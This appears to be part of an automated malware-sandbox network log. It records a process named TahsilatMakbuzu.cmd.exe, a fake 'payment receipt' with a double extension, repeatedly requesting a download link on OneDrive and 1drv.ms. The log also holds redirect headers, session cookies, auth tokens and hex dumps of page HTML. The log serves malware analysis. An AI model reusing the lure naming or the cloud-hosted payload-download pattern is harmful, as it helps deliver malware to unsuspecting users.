2024-07-04 18:18:05 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:d8IvplWc3Ig=:pAWsV1LppJR53Wm4ISs9siDZ14jJzrEZwJdDOkDZjoI=:F; domain=.live.com; path=/ Set-Cookie: xid=af8669c7-b9ea-42d5-80b9-acfc43b563cc&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:05 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg1LCJuYmYiOjE3MjAxMTcwODUsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiRG9nIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiOTQ0ODRlODBmNjM1NmZiYmQ0ZTJiOWIxZmQ0MWIxMTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA4NX0.VkuBmEz7RKSCJsakjDEbARxRU4jSeNRrmqBd82QSaUnQ7bHPfOebT5-ayX7gRzMrl33hxna_GHylfXsZXQf5hQaDIuLlZsi26a6GGlqfmxszml_UsTdo_KU2DvJ62mk3D_asBOvW52MHH9U7_Ru42cYTC8vNc449wQQlet5BvV-e6NyRZvUQYBGxIrBayZMfBh8n_Ek-KwClAIrn2idS6Ip9fZgwBIonIlAPwJyYCxgHu4Y935AR2SnVQC0x0OlQh5Y7JwQC26iv8tWkcJ8iXqSMfYOZy2ZMeCOGJj169KBqlnvrN7iQQp9GpxpRKXaepQ8Mt7zrIE7J-xLvhFrHUw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:05 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-4h748 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 03C65E3041DA4988AAB2E8A0B8D560A5 Ref B: BN3EDGE1112 Ref C: 2024-07-04T18:18:05Z Date: Thu, 04 Jul 2024 18:18:05 GMT Connection: close
2024-07-04 18:18:05 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49846	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:06 UTC	1276	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg1LCJuYmYiOjE3MjAxMTcwODUsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiRG9nIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiOTQ0ODRlODBmNjM1NmZiYmQ0ZTJiOWIxZmQ0MWIxMTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA4NX0.VkuBmEz7RKSCJsakjDEbARxRU4jSeNRrmqBd82QSaUnQ7bHPfOebT5-ayX7gRzMrl33hxna_GHylfXsZXQf5hQaDIuLlZsi26a6GGlqfmxszml_UsTdo_KU2DvJ62mk3D_asBOvW52MHH9U7_Ru42cYTC8vNc449wQQlet5BvV-e6NyRZvUQYBGxIrBayZMfBh8n_Ek-KwClAIrn2idS6Ip9fZgwBIonIlAPwJyYCxgHu4Y935AR2SnVQC0x0OlQh5Y7JwQC26iv8tWkcJ8iXqSMfYOZy2ZMeCOGJj169KBqlnvrN7iQQp9GpxpRKXaepQ8Mt7zrIE7J-xLvhFrHUw; E=P:d8IvplWc3Ig=:pAWsV1LppJR53Wm4ISs9siDZ14jJzrEZwJdDOkDZjoI=:F; xid=af8669c7-b9ea-42d5-80b9-acfc43b563cc& [TRUNCATED]
2024-07-04 18:18:06 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,14937,0,73242,4 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4a1239a1-901c-5000-d5e3-a7853d965ebb request-id: 4a1239a1-901c-5000-d5e3-a7853d965ebb MS-CV: oTkSShyQAFDV46eFPZZeuw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F96E51D70DF64205AA98129AD7262937 Ref B: BN3EDGE0916 Ref C: 2024-07-04T18:18:06Z Date: Thu, 04 Jul 2024 18:18:06 GMT Connection: close
2024-07-04 18:18:06 UTC	2243	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 39 34 Data Ascii: ,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,16694
2024-07-04 18:18:06 UTC	4144	IN	Data Raw: 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 37 43 Data Ascii: ":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-77C
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:18:06 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49847	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:07 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:07 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF6D7BD9FD4 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: lMXKJi8uO023vMR1lqoIjw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 471171E0092242AFB670BAEA5137B779 Ref B: EWR311000102011 Ref C: 2024-07-04T18:18:07Z Date: Thu, 04 Jul 2024 18:18:06 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49848	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:08 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:09 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:8RIyqFWc3Ig=:kTE1+5VSEMzsA6Wqguckv7wkNqG0MslPpR00czb9thA=:F; domain=.live.com; path=/ Set-Cookie: xid=49c89a51-6bfa-4db1-9d95-03a1c48b7b22&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:08 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg4LCJuYmYiOjE3MjAxMTcwODgsImdpdmVuX25hbWUiOiIxMCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNjMyYzA4ZjUyMjc0NDIxZWQ5YWQ4NzAwOTcxNjJkZSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDg4fQ.WzLF0bNkFXnqe_01T1CxwU5gQrnpUPcc3rejSUGRMiyRZN6awagWKB80lsaNh51OmGVyssjLJhGb1Yt-jkH0zQ09l-RBeqL3FU7S0XOrsQwpXvufWsyt2SV9HnDnrF2-SXHxzj9S9qMOMNLko0DrB3Vv65do6stVQj8E13-fkq7aeSfxqOvVHtzrecub9ehN9r4SWKsNCE_Mqj7Ul0ym6G83VYDMK_mgylmDEM9LZEQuVXwPB-cIk3bWvr3JoARybIUTFHnweg-lG78xmtXzqHCo7luMeoh73HGnJbskrDC76ZVJj7crpk9-rDoRt7Okkyzpy96UiOdF0VCaBDsWvQ; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:09 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-hwd2z X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E025E56FF62148388B01EB5CFA63CB35 Ref B: BN3EDGE0610 Ref C: 2024-07-04T18:18:08Z Date: Thu, 04 Jul 2024 18:18:09 GMT Connection: close
